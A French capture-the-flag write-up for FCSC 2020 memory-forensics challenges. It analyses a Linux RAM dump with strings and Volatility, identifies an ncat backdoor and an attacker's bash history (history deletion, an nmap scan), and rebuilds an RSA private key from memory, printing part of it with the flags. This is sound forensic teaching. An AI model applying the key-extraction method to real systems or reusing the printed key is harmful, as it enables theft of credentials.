70069:XAUTHLOCALHOSTNAME=
787892:RESOLVE-HOSTNAME%s %s
1060239:PWMGR_NUM_PASSWORDS_PER_HOSTNAME
1466026:XAUTHLOCALHOSTNAME
1492253:PWMGR_NUM_PASSWORDS_PER_HOSTNAME
1917088:NM_DHCP_HOSTNAME_FLAG_NONE
2067905:HOSTNAME
2352591:NO_HOSTNAME_SPECIFIED
2461029:XAUTHLOCALHOSTNAME
2539984:HOSTNAME
2539985:HOSTNAME
2844373:RESOLVE-HOSTNAME%s %s
2984831:HOSTNAME
3173881:_HOSTNAME=challenge.fcsc
3257537:HOSTNAME

```

Bingo ! On a quelque chose de pas mal avec `challenge.fcsc`

### Étape 2 - Le nom d'utilisateur authentifié <a href="#etape-2-le-nom-dutilisateur-authentifie" id="etape-2-le-nom-dutilisateur-authentifie"></a>

Pour le nom d'utilisateur, j'ai essayé de reproduire ce que l'on voit généralement dans le prompt d'un terminal c'est à dire user\@hostname, et je prend celui qui ai le plus apparu :)

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# strings ../dmp/dmp.mem |grep --color '@challenge' |awk -F' ' '{print $1}' |sort |uniq -c |sort -n
      1 +($debian_chroot)}root@challenge:~#
      1 +($debian_chroot)}root@challenge:~/LiME/src#
      1 ge@challenge:
      1 )}root@challenge:~#
      2 Lesage@challenge@
      4 esage@challenge:
      4 Lesage@challenge:~$
      6 Lesage@challenge:~/Documents$
      8 [01;32mLesage@challenge
      8 ]0;Lesage@challenge:
      9 root@challenge:~/LiME/src#
     17 root@challenge:~#
     78 Lesage@challenge:
```

Nous avons donc l'utilisateur `Lesage`

### Étape 3 - La version de Linux <a href="#etape-3-la-version-de-linux" id="etape-3-la-version-de-linux"></a>

Ici on attend certainement une version de kernel linux, on peut le déduire grâce au format du flag : `x.x.x-x-amdxx`

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# strings ../dmp/dmp.mem |grep --color 'amd64'
BOOT_IMAGE=/boot/vmlinuz-5.4.0-4-amd64 root=UUID=536c82dd-f1c5-43ce-b65d-c94e5c4a5031 ro quiet
5.4.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 9.2.1 20200203 (Debian 9.2.1-28)) #1 SMP Debian 5.4.19-1 (2020-02-13)
Linux 5.4.0-4-amd64 Debian GNU/Linux bullseye/sid
5.4.0-4-amd64
/usr/lib/jvm/java-11-openjdk-amd64/lib
/usr/lib/jvm/java-11-openjdk-amd64/lib/libnio.so
/usr/lib/jvm/java-11-openjdk-amd64/lib/javaplugin.jar
/usr/lib/jvm/java-11-openjdk-amd64/lib/libjimage.so
/usr/lib/jvm/java-11-openjdk-amd64/lib/libzip.so
/usr/lib/jvm/java-11-openjdk-amd64/lib/plugin.jar
/usr/lib/jvm/java-11-openjdk-amd64/lib
/vmlinuz-5.4.0-4-amd64 root=UUID=536c82dd-f1c5-43ce-b65d-c94e5c4a5031 ro quiet
vermagic=5.4.0-4-amd64 SMP mod_unload modversions 
5.4.0-4-amd64
:amd64/mpih-add1.S:amd64/mpih-sub1.S:amd64/mpih-mul1.S:amd64/mpih-mul2.S:amd64/mpih-mul3.S:amd64/mpih-lshift.S:amd64/mpih-rshift.S
5.4.0-4-amd64
5.4.0-4-amd64
insmod lime-5.4.0-4-amd64.ko "path=/dump.mem format=lime timeout=0"

```

Bon pas de doute le kernel est 5.4.0-4-amd64, on le voit grâce à la commande lime qui permet de créer le dump, et grâce à la variable d'environnement BOOT\_IMAGE.

Le flag : FCSC{challenge.fcsc:Lesage:5.4.0-4-amd64}


# Académie de l'investigation - Premiers artéfacts

### Énoncé <a href="#enonce" id="enonce"></a>

Pour avancer dans l'analyse, vous devez retrouver :

* Le nom de processus ayant le PID 1254.
* La commande exacte qui a été exécutée le 2020-03-26 23:29:19 UTC.
* Le nombre d'IP-DST unique en communications TCP établies (état ESTABLISHED) lors du dump.

Format du flag : FCSC{nom\_du\_processus:une\_commande:n}

[dmp.tar.gz](https://drive.google.com/file/d/1MAMwyRsKcsdZi34AFF1zeVcO955YSHDW/view?usp=sharing)

### Étape 1 - Création du profil volatility <a href="#etape-1-creation-du-profil-volatility" id="etape-1-creation-du-profil-volatility"></a>

Il faut absolument créer un profil volatility linux pour ce challenge. La version du kernel doit être respecté sinon cela ne fonctionne pas.

Commençons par installer une VM debian 9, l'iso est [ici](https://cdimage.debian.org/cdimage/archive/9.12.0/amd64/iso-cd/debian-9.12.0-amd64-netinst.iso)

Une fois que debian fonctionne, regardez votre version kernel, ici on est en 4.9.0-12-amd64, donc c'est pas bon, il nous faut la 5.4.0-4-amd64 pour le challenge.

```
root@writeup:~# uname -a
Linux writeup 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
```

J'ai travaillé avec le dépôt suivant, à vous de trouver un dépôt qui correspond à votre besoin en fonction de votre version de kernel pour votre analyse. <http://repo.puri.sm/pureos/pool/main/l/linux/>

On installe les headers :

```
wget http://repo.puri.sm/pureos/pool/main/l/linux/linux-headers-5.4.0-4-amd64_5.4.19-1_amd64.deb
dpkg -i linux-headers-5.4.0-4-amd64_5.4.19-1_amd64.deb
```

Oui on va avoir besoin de toutes les dépendances :(

```
root@writeup:~# dpkg -i linux-headers-5.4.0-4-amd64_5.4.19-1_amd64.deb 
Sélection du paquet linux-headers-5.4.0-4-amd64 précédemment désélectionné.
(Lecture de la base de données... 21588 fichiers et répertoires déjà installés.)
Préparation du dépaquetage de linux-headers-5.4.0-4-amd64_5.4.19-1_amd64.deb ...
Dépaquetage de linux-headers-5.4.0-4-amd64 (5.4.19-1) ...
dpkg: des problèmes de dépendances empêchent la configuration de linux-headers-5.4.0-4-amd64 :
 linux-headers-5.4.0-4-amd64 dépend de linux-headers-5.4.0-4-common (= 5.4.19-1) ; cependant :
  Le paquet linux-headers-5.4.0-4-common n'est pas installé.
 linux-headers-5.4.0-4-amd64 dépend de linux-kbuild-5.4 (>= 5.4.19-1) ; cependant :
  Le paquet linux-kbuild-5.4 n'est pas installé.
 linux-headers-5.4.0-4-amd64 dépend de linux-compiler-gcc-9-x86 ; cependant :
  Le paquet linux-compiler-gcc-9-x86 n'est pas installé.

dpkg: erreur de traitement du paquet linux-headers-5.4.0-4-amd64 (--install) :
 problèmes de dépendances - laissé non configuré
Des erreurs ont été rencontrées pendant l'exécution :
 linux-headers-5.4.0-4-amd64
```

On annule l'installation du linux-headers-5.4.0-4-amd64\_5.4.19-1\_amd64.deb

```
apt --fix-broken install
```

On commence par installer le common

```
wget http://repo.puri.sm/pureos/pool/main/l/linux/linux-headers-5.4.0-4-common_5.4.19-1_all.deb
dpkg -i linux-headers-5.4.0-4-common_5.4.19-1_all.deb
```

Puis le kbuild

```
wget http://repo.puri.sm/pureos/pool/main/l/linux/linux-kbuild-5.4_5.4.19-1_amd64.deb
dpkg -i linux-kbuild-5.4_5.4.19-1_amd64.deb
```

Puis la bonne version de gcc

```
wget http://repo.puri.sm/pureos/pool/main/l/linux/linux-compiler-gcc-9-x86_5.5.17-1_amd64.deb
dpkg -i linux-compiler-gcc-9-x86_5.5.17-1_amd64.deb
```

On relance l'installation du linux-headers

```
dpkg -i linux-headers-5.4.0-4-amd64_5.4.19-1_amd64.deb
```

On installe l'image

```
wget http://repo.puri.sm/pureos/pool/main/l/linux/linux-image-5.4.0-4-amd64-dbg_5.4.19-1_amd64.deb
dpkg -i linux-image-5.4.0-4-amd64-dbg_5.4.19-1_amd64.deb
```

On reboot la machine, puis :

```
root@writeup:~# uname -a
Linux writeup 5.4.0-4-amd64 #1 SMP Debian 5.4.19-1 (2020-02-13) x86_64 GNU/Linux
```

Normalement vous avez la bonne version de kernel maintenant.

On installe rapidement volatility et on créer le profil :

```
git clone https://github.com/volatilityfoundation/volatility.git
apt install dwarfdump
apt install build-essential
cd volatility/tools/linux
make
head module.dwarf
zip volatility/volatility/plugins/overlays/linux/fcscdebian.zip volatility/tools/linux/module.dwarf /boot/System.map-5.4.0-4-amd64
```

Vous pouvez maintenant faire l'analyse sur votre VM, ou sur votre machine de travail habituel en exportant le fichier fcscdebian.zip.

Je vous le met à disposition pour vous épargnez : [fcscdebian.zip](https://onosh.github.io/ctf/fcsc2020/download/fcscdebian.zip)

### Étape 2 - Recherche du processus 1254 <a href="#etape-2-recherche-du-processus-1254" id="etape-2-recherche-du-processus-1254"></a>

Volatility propose le plugin linux\_psxview pour voir l'ensemble des processus, mêmes cachés.

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_psxview |grep 1254
Volatility Foundation Volatility Framework 2.6.1
0x000000003fdccd80 pool-xfconfd           1254 False  True   False    False      False   False
```

Le nom du processus est pool-xfconfd

### Étape 3 - La commande <a href="#etape-3-la-commande" id="etape-3-la-commande"></a>

Volatility propose le plugin linux\_bash pour afficher les commandes éxécutées

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    1523 bash                 2020-03-26 23:24:18 UTC+0000   rm .bash_history 
    1523 bash                 2020-03-26 23:24:18 UTC+0000   exit
    1523 bash                 2020-03-26 23:24:18 UTC+0000   vim /home/Lesage/.bash_history 
    1523 bash                 2020-03-26 23:24:27 UTC+0000   ss -laupt
    1523 bash                 2020-03-26 23:26:06 UTC+0000   rkhunter -c
    1523 bash                 2020-03-26 23:29:19 UTC+0000   nmap -sS -sV 10.42.42.0/24
    1523 bash                 2020-03-26 23:31:31 UTC+0000   ?+??U
    1523 bash                 2020-03-26 23:31:31 UTC+0000   ip -c addr
    1523 bash                 2020-03-26 23:38:00 UTC+0000   swapoff -a
    1523 bash                 2020-03-26 23:38:05 UTC+0000   swapon -a
    1523 bash                 2020-03-26 23:40:18 UTC+0000   ls
    1523 bash                 2020-03-26 23:40:23 UTC+0000   cat LiME.txt 
    1523 bash                 2020-03-26 23:40:33 UTC+0000   cd LiME/src/
    1523 bash                 2020-03-26 23:40:54 UTC+0000   
    1523 bash                 2020-03-26 23:40:54 UTC+0000   insmod lime-5.4.0-4-amd64.ko "path=/dmp.mem format=lime timeout=0"

```

La commande exacte qui a été exécutée le 2020-03-26 23:29:19 UTC est nmap -sS -sV 10.42.42.0/24

### Étape 4 - Le nombre d'IP-DST <a href="#etape-4-le-nombre-dip-dst" id="etape-4-le-nombre-dip-dst"></a>

Volatility propose le plugin linux\_netstat pour voir les connexions établies.

En comptant à la main :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_netstat |grep 'ESTAB'
Volatility Foundation Volatility Framework 2.6.1
TCP      10.42.42.131    :36970 116.203.52.118  :  443 ESTABLISHED                   tor/706  
TCP      10.42.42.131    :37252 163.172.182.147 :  443 ESTABLISHED                   tor/706  
TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                  ncat/1515 
TCP      10.42.42.131    :47106 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :55224 151.101.121.140 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :55226 151.101.121.140 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :53190 104.124.192.89  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :45652 35.190.72.21    :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47102 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47104 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :38186 216.58.213.142  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47100 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :50612 104.93.255.199  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :58772 185.199.111.154 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :38184 216.58.213.142  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :57000 10.42.42.134    :   22 ESTABLISHED                   ssh/119468
TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                    sh/119511
TCP      127.0.0.1       :38498 127.0.0.1       :34243 ESTABLISHED                   cli/119514
TCP      127.0.0.1       :34243 127.0.0.1       :38498 ESTABLISHED                   cli/119514
TCP      10.42.42.131    :51858 10.42.42.128    :  445 ESTABLISHED             smbclient/119577
```

En one line :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_netstat |grep 'ESTAB' |awk -F' ' '{print $4}' |sort |uniq -c |wc -l
13

```

Nous avons 13 IPs destinations au total.

Le flag : FCSC{pool-xfconfd:nmap -sS -sV 10.42.42.0/24:13}


# Académie de l'investigation - Porte dérobée

### Énoncé <a href="#enonce" id="enonce"></a>

Un poste distant est connecté au poste en cours d'analyse via une porte dérobée avec la capacité d'exécuter des commandes.

* Quel est le numéro de port à l'écoute de cette connexion ?
* Quelle est l'adresse IP distante connectée au moment du dump ?
* Quel est l'horodatage de la création du processus en UTC de cette porte dérobée ?

Format du flag : FCSC{port:IP:YYYY-MM-DD HH:MM:SS}

[dmp.tar.gz](https://drive.google.com/file/d/1MAMwyRsKcsdZi34AFF1zeVcO955YSHDW/view?usp=sharing)

### Étape 1 - Recherche de trace réseau :) <a href="#etape-1-recherche-de-trace-reseau" id="etape-1-recherche-de-trace-reseau"></a>

Évidemment nous repartons avec volatility et le profil linux créé à cette occasion.

L'énoncé nous dit que la backdoor est actuellement utilisé par un attaquant, je pense donc rapidement à une connexion "ESTABLISHED".

J'utilise le plugin volatility linux\_netstat qui permet de lister les sockets ouvert :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_netstat |grep 'ESTAB'
Volatility Foundation Volatility Framework 2.6.1
TCP      10.42.42.131    :36970 116.203.52.118  :  443 ESTABLISHED                   tor/706  
TCP      10.42.42.131    :37252 163.172.182.147 :  443 ESTABLISHED                   tor/706  
TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                  ncat/1515 
TCP      10.42.42.131    :47106 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :55224 151.101.121.140 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :55226 151.101.121.140 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :53190 104.124.192.89  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :45652 35.190.72.21    :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47102 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47104 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :38186 216.58.213.142  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :47100 216.58.206.226  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :50612 104.93.255.199  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :58772 185.199.111.154 :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :38184 216.58.213.142  :  443 ESTABLISHED              chromium/119187
TCP      10.42.42.131    :57000 10.42.42.134    :   22 ESTABLISHED                   ssh/119468
TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                    sh/119511
TCP      127.0.0.1       :38498 127.0.0.1       :34243 ESTABLISHED                   cli/119514
TCP      127.0.0.1       :34243 127.0.0.1       :38498 ESTABLISHED                   cli/119514
TCP      10.42.42.131    :51858 10.42.42.128    :  445 ESTABLISHED             smbclient/119577
```

On voit rapidement un problème avec ncat...

Je garde donc :

* l'adresse IP distante connectée : `fd:6663:7363:1000:55cf:b9c6:f41d:cc24`
* le numéro de port à l'écoute : `58014`
* Le pid qui peut servir : `ncat/1515`

### Étape 2 - Recherche de l'horodatage <a href="#etape-2-recherche-de-lhorodatage" id="etape-2-recherche-de-lhorodatage"></a>

Il ne manque plus que l'horodatage de la création du processus en UTC de cette porte dérobée.

Pour cela, rien de mieux que le plugin linux\_pslist et un petit grep sur le PID pour observer les dates de création.

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# python vol.py -f ../dmp/dmp.mem --profile=Linuxfcscdebianx64 linux_pslist |grep 1515
Volatility Foundation Volatility Framework 2.6.1
0xffff9d72c014be00 ncat                 1515            1513            1001            1001   0x000000003e3d0000 2020-03-26 23:24:20 UTC+0000
0xffff9d72c5d50000 sh                   119511          1515            1001            1001   0x00000000128ac000 2020-03-26 23:32:36 UTC+0000
```

Logiquement le date de création de la porte dérobée est `2020-03-26 23:24:20`

Le flag : FCSC{58014:fd:6663:7363:1000:55cf:b9c6:f41d:cc24:2020-03-26 23:24:20}


# Académie de l'investigation - Administration

### Énoncé

Ce poste administre un serveur distant avec le protocole SSH à l'aide d'une authentification par clé (clé protégée par mot de passe). La clé publique a été utilisée pour chiffrer le message ci-joint (flag.txt.enc).

Retrouvez et reconstituez la clé en mémoire qui permettra de déchiffrer ce message.

[dmp.tar.gz](https://drive.google.com/file/d/1MAMwyRsKcsdZi34AFF1zeVcO955YSHDW/view?usp=sharing)

### Étape 1 - Recherche d'une clé avec volatility <a href="#etape-1-recherche-dune-cle-avec-volatility" id="etape-1-recherche-dune-cle-avec-volatility"></a>

Nous devons retrouver une clé (privé) RSA dans la mémoire, c'est parti, et avec volatility.

Après avoir testé et vérifié absolument tous les plugins volatility existant je ne trouve aucune trace de clé rsa dans ce dump.

J'ai simplement un visuel sur l’existence de cette clé avec strings :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# strings ../dmp/dmp.mem |grep -inH --color 'id_rsa'
(standard input):1078026:Enter passphrase for key '/home/Lesage/.ssh/id_rsa': 
(standard input):1788358:Enter passphrase for key '/home/Lesage/.ssh/id_rsa': 
(standard input):2191305:h/id_rsa
(standard input):2441815:/id_rsa'
(standard input):3498355:Enter passphrase for key '/home/Lesage/.ssh/id_rsa':
```

Et si volatility ne suffisait pas ?

### Étape 2 - RSAKEYFIND <a href="#etape-2-rsakeyfind" id="etape-2-rsakeyfind"></a>

Je découvre en cherchant sur notre bon vieux google, un outil, rsakeyfind. Il existe dans les dépot debian, le nom est plutot attirant, et en plus il prend en entrer un dump mémoire...

Wow, magique, il nous trouve deux clés.

```
onosh@kali:/home/onosh/FCSC/FORENSIC# rsakeyfind dmp/dmp.mem 
FOUND PRIVATE KEY AT c64ac50
version = 
00 
modulus = 
00 d7 1e 77 82 8c 92 31 e7 69 02 a2 d5 5c 78 de 
a2 0c 8f fe 28 59 31 df 40 9c 60 61 06 b9 2f 62 
40 80 76 cb 67 4a b5 59 56 69 17 07 fa f9 4c bd 
6c 37 7a 46 7d 70 a7 67 22 b3 4d 7a 94 c3 ba 4b 
7c 4b a9 32 7c b7 38 95 45 64 a4 05 a8 9f 12 7c 
4e c6 c8 2d 40 06 30 f4 60 a6 91 bb 9b ca 04 79 
11 13 75 f0 ae d3 51 89 c5 74 b9 aa 3f b6 83 e4 
78 6b cd f9 5c 4c 85 ea 52 3b 51 93 fc 14 6b 33 
5d 30 70 fa 50 1b 1b 38 81 13 8d f7 a5 0c c0 8e 
f9 63 52 18 4e a9 f9 f8 5c 5d cd 7a 0d d4 8e 7b 
ee 91 7b ad 7d b4 92 d5 ab 16 3b 0a 8a ce 8e de 
47 1a 17 01 86 7b ab 99 f1 4b 0c 3a 0d 82 47 c1 
91 8c bb 2e 22 9e 49 63 6e 02 c1 c9 3a 9b a5 22 
1b 07 95 d6 10 02 50 fd fd d1 9b be ab c2 c0 74 
d7 ec 00 fb 11 71 cb 7a dc 81 79 9f 86 68 46 63 
82 4d b7 f1 e6 16 6f 42 63 f4 94 a0 ca 33 cc 75 
13 
publicExponent = 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 
privateExponent = 
62 b5 60 31 4f 3f 66 16 c1 60 ac 47 2a ff 6b 69 
00 4a b2 5c e1 50 b9 18 74 a8 e4 dc a8 ec cd 30 
bb c1 c6 e3 c6 ac 20 2a 3e 5e 8b 12 e6 82 08 09 
38 0b ab 7c b3 cc 9c ce 97 67 dd ef 95 40 4e 92 
e2 44 e9 1d c1 14 fd a9 b1 dc 71 9c 46 21 bd 58 
88 6e 22 15 56 c1 ef e0 c9 8d e5 80 3e da 7e 93 
0f 52 f6 f5 c1 91 90 9e 42 49 4f 8d 9c ba 38 83 
e9 33 c2 50 4f ec c2 f0 a8 b7 6e 28 25 56 6b 62 
67 fe 08 f1 56 e5 6f 0e 99 f1 e5 95 7b ef eb 0a 
2c 92 97 57 23 33 36 07 dd fb ae f1 b1 d8 33 b7 
96 71 42 36 c5 a4 a9 19 4b 1b 52 4c 50 69 91 f0 
0e fa 80 37 4b b5 d0 2f b7 44 0d d4 f8 39 8d ab 
71 67 59 05 88 3d eb 48 48 33 88 4e fe f8 27 1b 
d6 55 60 5e 48 b7 6d 9a a8 37 f9 7a de 1b cd 5d 
1a 30 d4 e9 9e 5b 3c 15 f8 9c 1f da d1 86 48 55 
ce 83 ee 8e 51 c7 de 32 12 47 7d 46 b8 35 df 41 
prime1 = 
00 
prime2 = 
00 
exponent1 = 
00 
exponent2 = 
00 
coefficient = 
00 

FOUND PRIVATE KEY AT 1084c490
version = 
00 
modulus = 
00 d7 1e 77 82 8c 92 31 e7 69 02 a2 d5 5c 78 de 
a2 0c 8f fe 28 59 31 df 40 9c 60 61 06 b9 2f 62 
40 80 76 cb 67 4a b5 59 56 69 17 07 fa f9 4c bd 
6c 37 7a 46 7d 70 a7 67 22 b3 4d 7a 94 c3 ba 4b 
7c 4b a9 32 7c b7 38 95 45 64 a4 05 a8 9f 12 7c 
4e c6 c8 2d 40 06 30 f4 60 a6 91 bb 9b ca 04 79 
11 13 75 f0 ae d3 51 89 c5 74 b9 aa 3f b6 83 e4 
78 6b cd f9 5c 4c 85 ea 52 3b 51 93 fc 14 6b 33 
5d 30 70 fa 50 1b 1b 38 81 13 8d f7 a5 0c c0 8e 
f9 63 52 18 4e a9 f9 f8 5c 5d cd 7a 0d d4 8e 7b 
ee 91 7b ad 7d b4 92 d5 ab 16 3b 0a 8a ce 8e de 
47 1a 17 01 86 7b ab 99 f1 4b 0c 3a 0d 82 47 c1 
91 8c bb 2e 22 9e 49 63 6e 02 c1 c9 3a 9b a5 22 
1b 07 95 d6 10 02 50 fd fd d1 9b be ab c2 c0 74 
d7 ec 00 fb 11 71 cb 7a dc 81 79 9f 86 68 46 63 
82 4d b7 f1 e6 16 6f 42 63 f4 94 a0 ca 33 cc 75 
13 
publicExponent = 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 
privateExponent = 
62 b5 60 31 4f 3f 66 16 c1 60 ac 47 2a ff 6b 69 
00 4a b2 5c e1 50 b9 18 74 a8 e4 dc a8 ec cd 30 
bb c1 c6 e3 c6 ac 20 2a 3e 5e 8b 12 e6 82 08 09 
38 0b ab 7c b3 cc 9c ce 97 67 dd ef 95 40 4e 92 
e2 44 e9 1d c1 14 fd a9 b1 dc 71 9c 46 21 bd 58 
88 6e 22 15 56 c1 ef e0 c9 8d e5 80 3e da 7e 93 
0f 52 f6 f5 c1 91 90 9e 42 49 4f 8d 9c ba 38 83 
e9 33 c2 50 4f ec c2 f0 a8 b7 6e 28 25 56 6b 62 
67 fe 08 f1 56 e5 6f 0e 99 f1 e5 95 7b ef eb 0a 
2c 92 97 57 23 33 36 07 dd fb ae f1 b1 d8 33 b7 
96 71 42 36 c5 a4 a9 19 4b 1b 52 4c 50 69 91 f0 
0e fa 80 37 4b b5 d0 2f b7 44 0d d4 f8 39 8d ab 
71 67 59 05 88 3d eb 48 48 33 88 4e fe f8 27 1b 
d6 55 60 5e 48 b7 6d 9a a8 37 f9 7a de 1b cd 5d 
1a 30 d4 e9 9e 5b 3c 15 f8 9c 1f da d1 86 48 55 
ce 83 ee 8e 51 c7 de 32 12 47 7d 46 b8 35 df 41 
prime1 = 
00 
prime2 = 
00 
exponent1 = 
00 
exponent2 = 
00 
coefficient = 
00 
```

La première ne fonctionne pas, je test la deuxième avec ce petit script :

```
from Crypto.PublicKey import RSA

modulus = '00d71e77828c9231e76902a2d55c78dea20c8ffe285931df409c606106b92f62408076cb674ab55956691707faf94cbd6c377a467d70a76722b34d7a94c3ba4b7c4ba9327cb738954564a405a89f127c4ec6c82d400630f460a691bb9bca0479111375f0aed35189c574b9aa3fb683e4786bcdf95c4c85ea523b5193fc146b335d3070fa501b1b3881138df7a50cc08ef96352184ea9f9f85c5dcd7a0dd48e7bee917bad7db492d5ab163b0a8ace8ede471a1701867bab99f14b0c3a0d8247c1918cbb2e229e49636e02c1c93a9ba5221b0795d6100250fdfdd19bbeabc2c074d7ec00fb1171cb7adc81799f86684663824db7f1e6166f4263f494a0ca33cc7513'

publicExponent = '10001'

privateExponent = '62b560314f3f6616c160ac472aff6b69004ab25ce150b91874a8e4dca8eccd30bbc1c6e3c6ac202a3e5e8b12e6820809380bab7cb3cc9cce9767ddef95404e92e244e91dc114fda9b1dc719c4621bd58886e221556c1efe0c98de5803eda7e930f52f6f5c191909e42494f8d9cba3883e933c2504fecc2f0a8b76e2825566b6267fe08f156e56f0e99f1e5957befeb0a2c92975723333607ddfbaef1b1d833b796714236c5a4a9194b1b524c506991f00efa80374bb5d02fb7440dd4f8398dab71675905883deb484833884efef8271bd655605e48b76d9aa837f97ade1bcd5d1a30d4e99e5b3c15f89c1fdad1864855ce83ee8e51c7de3212477d46b835df41'

modulus_int = long(modulus,16)
publicExponent_int = long(publicExponent, 16)
privateExponent_int = long(privateExponent, 16)

private_key = RSA.construct((modulus_int, publicExponent_int, privateExponent_int))

pem_key = private_key.exportKey('PEM')
print(pem_key)
```

Il me ressors gentiment une clé privé :

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1x53goySMedpAqLVXHjeogyP/ihZMd9AnGBhBrkvYkCAdstn
SrVZVmkXB/r5TL1sN3pGfXCnZyKzTXqUw7pLfEupMny3OJVFZKQFqJ8SfE7GyC1A
BjD0YKaRu5vKBHkRE3XwrtNRicV0uao/toPkeGvN+VxMhepSO1GT/BRrM10wcPpQ
Gxs4gRON96UMwI75Y1IYTqn5+FxdzXoN1I577pF7rX20ktWrFjsKis6O3kcaFwGG
e6uZ8UsMOg2CR8GRjLsuIp5JY24Cwck6m6UiGweV1hACUP390Zu+q8LAdNfsAPsR
cct63IF5n4ZoRmOCTbfx5hZvQmP0lKDKM8x1EwIDAQABAoIBAGK1YDFPP2YWwWCs
Ryr/a2kASrJc4VC5GHSo5Nyo7M0wu8HG48asICo+XosS5oIICTgLq3yzzJzOl2fd
75VATpLiROkdwRT9qbHccZxGIb1YiG4iFVbB7+DJjeWAPtp+kw9S9vXBkZCeQklP
jZy6OIPpM8JQT+zC8Ki3biglVmtiZ/4I8Vblbw6Z8eWVe+/rCiySl1cjMzYH3fuu
8bHYM7eWcUI2xaSpGUsbUkxQaZHwDvqAN0u10C+3RA3U+DmNq3FnWQWIPetISDOI
Tv74JxvWVWBeSLdtmqg3+XreG81dGjDU6Z5bPBX4nB/a0YZIVc6D7o5Rx94yEkd9
